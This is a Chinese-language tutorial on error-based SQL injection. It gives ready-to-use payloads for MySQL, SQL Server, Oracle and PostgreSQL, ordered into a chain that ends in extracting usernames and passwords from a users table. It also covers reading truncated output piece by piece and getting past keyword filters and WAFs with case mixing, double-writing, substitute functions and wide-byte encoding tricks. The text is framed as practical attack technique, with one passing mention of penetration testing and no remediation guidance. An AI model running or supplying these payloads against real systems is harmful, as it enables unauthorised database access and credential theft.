SQL注入在报错页面的信息收集,本质上是利用数据库在遇到非法查询时将内部错误信息直接输出到前端页面的行为。攻击者构造特定Payload,迫使数据库报错,而这些报错信息里往往夹带着我们想要的数据,比如数据库版本、当前用户名、表名甚至字段内容。这不是漏洞扫描器跑出来的理论,而是实战中快速获取数据库指纹和敏感数据的高效手段。

报错注入的触发前提

要利用报错页面收集信息,必须满足两个条件。第一,目标页面会将数据库的详细错误信息原样返回,而不是统一的“系统错误”或“内部服务器错误”。第二,我们可以控制输入参数,并且该参数被拼接到SQL语句中执行。如果WAF或代码层面对错误信息做了过滤,只返回HTTP 500状态码而没有具体内容,那这条路就断了。但现实中有大量站点因为调试模式未关闭、框架默认配置或开发疏忽,直接把数据库报错抛到前端。

快速判断数据库类型

不同的数据库报错格式差异明显,拿到第一条报错信息时就要完成数据库指纹识别。MySQL的报错通常带有“You have an error in your SQL syntax”前缀,并会显示错误发生的行号和附近语句片段。SQL Server会返回“Microsoft OLE DB Provider for SQL Server”或“Unclosed quotation mark”这类特征字符串,错误代码通常是数字格式。Oracle的报错则带有“ORA-”前缀,后面跟着五位数字代码和描述文本。PostgreSQL报错会明确写出“ERROR:”以及错误位置和详细信息。Access数据库的报错比较简陋,通常只返回“Syntax error”或“Microsoft JET Database Engine”字样。看一眼报错格式,几秒内就能确定后端数据库类型,这决定了后续Payload的构造方向。

利用MySQL报错函数收集信息

MySQL是报错注入技巧最丰富的数据库,核心思路是利用那些在执行过程中会将部分数据拼入错误消息的函数。最经典的是extractvalue()和updatexml()这两个处理XML的函数。它们接受XPath表达式作为参数,当XPath表达式语法错误时,MySQL会把错误信息连同部分数据一起返回。典型Payload如下:

' and extractvalue(1,concat(0x7e,(select database()))) --+

这里concat(0x7e,...)的作用是拼接一个波浪号,因为extractvalue报错时会输出XPath表达式内容,我们需要一个特殊字符来定位我们想要的数据。执行后页面会返回类似“XPATH syntax error: '~database_name'”的错误,波浪号后面的内容就是当前数据库名。同理,把子查询换成version()、user()就能获取版本和用户信息。

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) --+

updatexml()的用法与extractvalue()几乎一致,区别在于它需要三个参数。这两个函数在MySQL 5.1及以上版本都可用,是报错注入的首选武器。另一个常用技巧是使用floor()配合rand()和group by产生的重复键错误:

' union select 1,count(*),concat((select user()),floor(rand(0)*2)) as x from information_schema.tables group by x --+

这个Payload利用了虚拟表的主键冲突,当rand(0)产生固定随机序列时,group by过程中会触发“Duplicate entry”错误,错误信息里会携带我们concat进去的查询结果。虽然写法比XML函数复杂,但在某些WAF场景下反而能绕过检测。

SQL Server报错注入手法

SQL Server的报错注入主要依赖显式转换错误。convert()函数在尝试将字符串转换为整数时会抛出错误,错误信息中包含原始字符串内容。经典Payload:

' and 1=convert(int,(select @@version)) --

这条语句会触发“Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019...' to data type int”的错误,直接把版本信息暴露出来。如果查询结果超过convert()能显示的字符数,可以用substring()分段读取。SQL Server 2012及以上版本还可以使用format()函数,但实战中convert()更稳定。另一个有效手法是利用try_convert()不存在时的错误,或者使用cast()函数,原理完全相同。对于获取表名和列名,同样通过子查询配合convert():

' and 1=convert(int,(select top 1 table_name from information_schema.tables)) --

SQL Server的报错信息长度限制比MySQL宽松,一次能返回更多数据,这是实战中的优势。

Oracle报错注入关键函数

Oracle的报错注入主要围绕CTXSYS.DRITHSX.SN()函数和UTL_INADDR.GET_HOST_NAME()、UTL_INADDR.GET_HOST_ADDRESS()这两个网络相关函数。CTXSYS.DRITHSX.SN()在参数超过一定长度时会抛出包含参数内容的错误:

' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1)) --

UTL_INADDR包中的函数在解析主机名失败时会抛出包含输入内容的错误,可以这样利用:

' and 1=utl_inaddr.get_host_name((select user from dual)) --

Oracle的错误信息格式规范,ORA-错误码后面紧跟描述,数据会直接嵌入在错误文本中。需要注意的是,这些函数需要相应的权限才能执行,低权限用户可能无法调用CTXSYS包,但UTL_INADDR通常对PUBLIC开放,适用范围更广。Oracle 11g及以后版本还可以使用DBMS_XDB_VERSION包中的函数,但实战中UTL_INADDR是最可靠的选择。

PostgreSQL报错注入方法

PostgreSQL的报错注入相对简单直接,因为它的错误信息本身就非常详细。可以利用类型转换错误,也可以利用一些内置函数。最常用的是在子查询中制造除零错误或类型错误,同时把数据拼接进去。不过PostgreSQL没有像MySQL extractvalue()那样直接输出数据的函数,更多时候需要结合堆叠查询或者利用异常处理机制。一个可行的思路是使用cast()强制类型转换:

' and 1=cast((select current_database()) as int) --

这会触发“ERROR: invalid input syntax for type integer”错误,错误信息中会包含数据库名。PostgreSQL的错误输出通常包含完整的上下文信息,包括错误位置和SQL语句片段,这对信息收集非常有利。

逐层深入的信息收集路径

报错注入的信息收集应该遵循从宏观到微观的路径。第一步永远是获取数据库版本和当前用户,这决定了后续能使用哪些函数和能访问哪些数据。第二步获取当前数据库名和用户权限,判断是否需要跨库查询。第三步开始枚举表名,从information_schema.tables中逐行提取。第四步针对敏感表枚举列名。第五步逐行逐列提取数据内容。每一步都要注意报错信息的长度限制,如果数据被截断,立即换用substring()、mid()或substr()分段读取。以MySQL为例,完整的信息收集链如下:

# 获取版本
' and updatexml(1,concat(0x7e,version()),1) --+
# 获取当前用户
' and updatexml(1,concat(0x7e,user()),1) --+
# 获取当前数据库
' and updatexml(1,concat(0x7e,database()),1) --+
# 枚举表名(逐个修改limit偏移)
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) --+
# 枚举列名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) --+
# 提取数据
' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1)),1) --+

每执行一条Payload,页面返回的报错信息就是答案。不需要盲注那样逐字符猜测,效率极高。

处理报错信息长度限制

实战中经常遇到报错信息被截断的情况。MySQL的extractvalue()和updatexml()最多返回32个字符左右,超出部分会被省略。这时候需要结合substring()函数分段读取。假设要读取一个可能很长的密码字段:

' and updatexml(1,concat(0x7e,substring((select password from users limit 0,1),1,30)),1) --+

然后逐步调整substring的起始位置,每次读取30个字符,拼接起来就是完整数据。SQL Server的convert()报错能返回的数据量更大,通常能到几百个字符,但同样需要分段处理长文本。Oracle的UTL_INADDR报错也能返回较长的内容,但超过一定长度后同样会被截断。分段读取虽然增加了请求次数,但在没有更好注入方式的情况下,这是稳定获取完整数据的可靠方法。

绕过简单过滤的技巧

当目标对某些关键词做了过滤时,报错注入需要灵活变通。如果extractvalue被拦截,可以尝试用updatexml替代,或者反过来。如果两个XML函数都被封,就换用floor()加rand()的重复键报错。如果空格被过滤,用注释符//、括号、反引号或加号替代。如果等号被过滤,用like、regexp或in替代。如果关键词被过滤,尝试大小写混写、双写绕过或使用等价函数。例如user()被过滤可以换成current_user()或system_user()。如果information_schema被禁用,MySQL 5.7及以上可以查询sys.schema_table_statistics或mysql.innodb_table_stats来获取表名。这些绕过方法需要根据具体过滤规则灵活组合,没有万能公式,但原理都是寻找功能等价的替代品。

报错注入的局限性

报错注入虽然高效,但也有明显局限。它完全依赖目标页面返回详细错误信息,一旦错误被全局捕获或者页面使用了自定义错误页,这个方法就失效了。此外,每次请求只能获取一行数据中的一个字段片段,对于大数据量的拖库操作效率远不如联合查询注入或者直接getshell后导出。报错注入还会在服务器日志中留下大量异常记录,容易被安全监控发现。在实际渗透测试中,报错注入更多用于快速获取数据库指纹和关键数据,作为后续攻击的信息支撑,而不是作为主要的数据导出手段。

实战中的注意事项

手工进行报错注入时,建议先用浏览器或Burp Suite观察原始报错响应,确认Payload是否被完整执行。有时候WAF会拦截部分Payload但返回自定义报错页面,这时候需要区分是数据库报错还是WAF报错。数据库报错通常包含SQL语法特征或数据库名称,WAF报错则往往带有安全产品名称或通用拦截提示。另外要注意字符编码问题,如果目标使用GBK编码,单引号转义可能存在宽字节绕过机会。对于POST参数和HTTP头中的注入点,报错注入同样适用,只需将Payload放到对应位置即可。Cookie、User-Agent、Referer等字段如果被拼入SQL查询,同样可以成为报错注入的入口。